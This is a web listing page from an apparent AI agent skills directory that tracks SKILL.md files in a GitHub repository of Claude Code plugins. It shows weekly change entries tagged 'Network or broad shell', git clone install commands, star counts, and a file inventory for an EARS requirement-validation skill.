Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/database-data-management/skills/sql-code-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/database-data-management/skills/sql-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-advanced-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-production-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-quickstart/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/devops-oncall/skills/azure-resource-health-diagnose/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/devops-oncall/skills/multi-stage-dockerfile/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/diagram-authoring/skills/efcore-d2-db-diagram/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/dotnet-timezone/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/nuget-manager/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/system-commandline-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/dotnet-desktop-development/skills/winui3-migration-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/doublecheck/skills/doublecheck/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ember/skills/daily-focus-board/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ember/skills/from-the-other-side-anitta/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ember/skills/from-the-other-side-quinn/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ember/skills/from-the-other-side-vega/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ember/skills/from-the-other-side-wiggins/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/eyeball/skills/eyeball/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 1672ec1d9bb3181ab61cb96002688c6a3624fc48

git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48 # Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48 # Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .agents/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48 # Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .github/skills/<skill-name>/
21GitHub stars
0stars in 7 days
2.6kskills in this repository
0commits in 30 days

Heat

0.3
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Oct 25, 202621

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

ears-validate

When your agent uses it

Use when validating requirements against EARS notation patterns. Triggers include "EARS", "requirement review", "requirement quality", "shall statement", and "REQ-ID".

What it loads into context

Frontmatter

47 tokens

Always available to the agent

SKILL.md

752 tokens

When the skill is activated

Reference documents

212,923 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. When to invoke
  2. EARS patterns
  3. Validation checklist
  4. Common defects
  5. Output template
  6. Quality gate

Files

  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude-plugin/marketplace.jsonasset49,427 bytes
  • ../../../.claude/hooks/dependency-license-checker/hooks.jsonasset302 bytes
  • ../../../.claude/hooks/governance-audit/hooks.jsonasset842 bytes
  • ../../../.claude/hooks/secrets-scanner/hooks.jsonasset302 bytes
  • ../../../.claude/hooks/session-logger/hooks.jsonasset796 bytes
  • SKILL.mdcore2,914 bytes
  • ../../../harness/claude-code/hooks/attester-import-check/hooks.jsonasset322 bytes
  • ../../../harness/claude-code/hooks/dependency-license-checker/hooks.jsonasset302 bytes
  • ../../../harness/claude-code/hooks/fix-broken-links/hooks.jsonasset294 bytes
  • ../../../harness/claude-code/hooks/governance-audit/hooks.jsonasset842 bytes
  • ../../../harness/claude-code/hooks/secrets-scanner/hooks.jsonasset302 bytes
  • ../../../harness/claude-code/hooks/session-auto-commit/hooks.jsonasset274 bytes
  • ../../../harness/claude-code/hooks/session-logger/hooks.jsonasset796 bytes
  • ../../../harness/claude-code/hooks/tool-guardian/hooks.jsonasset308 bytes
  • ../../../harness/claude-code/plugins/accessibility-compliance/.claude-plugin/plugin.jsonasset525 bytes
  • ../../../harness/claude-code/plugins/accessibility-kanban/.claude-plugin/plugin.jsonasset422 bytes
  • ../../../harness/claude-code/plugins/acreadiness-cockpit/.claude-plugin/plugin.jsonasset601 bytes
  • ../../../harness/claude-code/plugins/agent-governance/.claude-plugin/plugin.jsonasset603 bytes
  • ../../../harness/claude-code/plugins/ai-team-orchestration/.claude-plugin/plugin.jsonasset521 bytes
  • ../../../harness/claude-code/plugins/apng-studio/.claude-plugin/plugin.jsonasset556 bytes
  • ../../../harness/claude-code/plugins/application-security/.claude-plugin/plugin.jsonasset536 bytes
  • ../../../harness/claude-code/plugins/application-security/.claude-plugin/plugin.jsonasset536 bytes
  • ../../../harness/claude-code/plugins/arcade-canvas/.claude-plugin/plugin.jsonasset375 bytes
  • ../../../harness/claude-code/plugins/arch/.claude-plugin/plugin.jsonasset513 bytes
  • ../../../harness/claude-code/plugins/arize-ax/.claude-plugin/plugin.jsonasset620 bytes
  • ../../../harness/claude-code/plugins/automate-this/.claude-plugin/plugin.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/awesome-copilot/.claude-plugin/plugin.jsonasset440 bytes
  • ../../../harness/claude-code/plugins/aws-cloud-development/.claude-plugin/plugin.jsonasset573 bytes
  • ../../../harness/claude-code/plugins/azure-ai-foundry/.claude-plugin/plugin.jsonasset633 bytes
  • ../../../harness/claude-code/plugins/azure-app-lifecycle/.claude-plugin/plugin.jsonasset556 bytes
  • ../../../harness/claude-code/plugins/azure-cloud-development/.claude-plugin/plugin.jsonasset559 bytes
  • ../../../harness/claude-code/plugins/azure-data-development/.claude-plugin/plugin.jsonasset541 bytes
  • ../../../harness/claude-code/plugins/azure-developer-tooling/.claude-plugin/plugin.jsonasset587 bytes
  • ../../../harness/claude-code/plugins/azure-governance/.claude-plugin/plugin.jsonasset545 bytes
  • ../../../harness/claude-code/plugins/azure-kubernetes-development/.claude-plugin/plugin.jsonasset558 bytes
  • ../../../harness/claude-code/plugins/azure-modernization/.claude-plugin/plugin.jsonasset484 bytes
  • ../../../harness/claude-code/plugins/azure-observability-operations/.claude-plugin/plugin.jsonasset534 bytes
  • ../../../harness/claude-code/plugins/backlog-swipe-triage/.claude-plugin/plugin.jsonasset450 bytes
  • ../../../harness/claude-code/plugins/backrooms-canvas/.claude-plugin/plugin.jsonasset439 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/.claude-plugin/plugin.jsonasset684 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/hooks/hooks.jsonasset271 bytes
  • ../../../harness/claude-code/plugins/backstage-expert/hooks/hooks.jsonasset271 bytes
  • ../../../harness/claude-code/plugins/career-productivity/.claude-plugin/plugin.jsonasset546 bytes
  • ../../../harness/claude-code/plugins/cast-imaging/.claude-plugin/plugin.jsonasset515 bytes
  • ../../../harness/claude-code/plugins/chromium-control-canvas/.claude-plugin/plugin.jsonasset483 bytes
  • ../../../harness/claude-code/plugins/clojure-interactive-programming/.claude-plugin/plugin.jsonasset438 bytes
  • ../../../harness/claude-code/plugins/cms-development/.claude-plugin/plugin.jsonasset515 bytes
  • ../../../harness/claude-code/plugins/code-quality-refactoring/.claude-plugin/plugin.jsonasset599 bytes
  • ../../../harness/claude-code/plugins/codebase-blueprints/.claude-plugin/plugin.jsonasset556 bytes
  • ../../../harness/claude-code/plugins/color-orb/.claude-plugin/plugin.jsonasset411 bytes
  • ../../../harness/claude-code/plugins/context-engineering/.claude-plugin/plugin.jsonasset561 bytes
  • ../../../harness/claude-code/plugins/context-matic/.claude-plugin/plugin.jsonasset792 bytes
  • ../../../harness/claude-code/plugins/convert-to-md/.claude-plugin/plugin.jsonasset679 bytes
  • ../../../harness/claude-code/plugins/copilot-customization-authoring/.claude-plugin/plugin.jsonasset530 bytes
  • ../../../harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/copilot-sdk/.claude-plugin/plugin.jsonasset571 bytes
  • ../../../harness/claude-code/plugins/creative-media-tooling/.claude-plugin/plugin.jsonasset567 bytes
  • ../../../harness/claude-code/plugins/csharp-dotnet-development/.claude-plugin/plugin.jsonasset427 bytes
  • ../../../harness/claude-code/plugins/data-engineering/.claude-plugin/plugin.jsonasset569 bytes
  • ../../../harness/claude-code/plugins/database-data-management/.claude-plugin/plugin.jsonasset521 bytes
  • ../../../harness/claude-code/plugins/dataverse-sdk-for-python/.claude-plugin/plugin.jsonasset519 bytes
  • ../../../harness/claude-code/plugins/devops-oncall/.claude-plugin/plugin.jsonasset435 bytes
  • ../../../harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.jsonasset516 bytes
  • ../../../harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.jsonasset516 bytes
  • ../../../harness/claude-code/plugins/diagram-viewer/.claude-plugin/plugin.jsonasset455 bytes
  • ../../../harness/claude-code/plugins/dotnet-desktop-development/.claude-plugin/plugin.jsonasset573 bytes
  • ../../../harness/claude-code/plugins/doublecheck/.claude-plugin/plugin.jsonasset486 bytes
  • ../../../harness/claude-code/plugins/edge-ai-tasks/.claude-plugin/plugin.jsonasset443 bytes
  • ../../../harness/claude-code/plugins/ember/.claude-plugin/plugin.jsonasset500 bytes
  • ../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes
  • ../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes
  • ../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/.claude-plugin/plugin.jsonasset563 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.jsonasset924 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.mddoc37,182 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.mddoc9,309 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.mddoc21,087 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.mddoc56,235 bytes
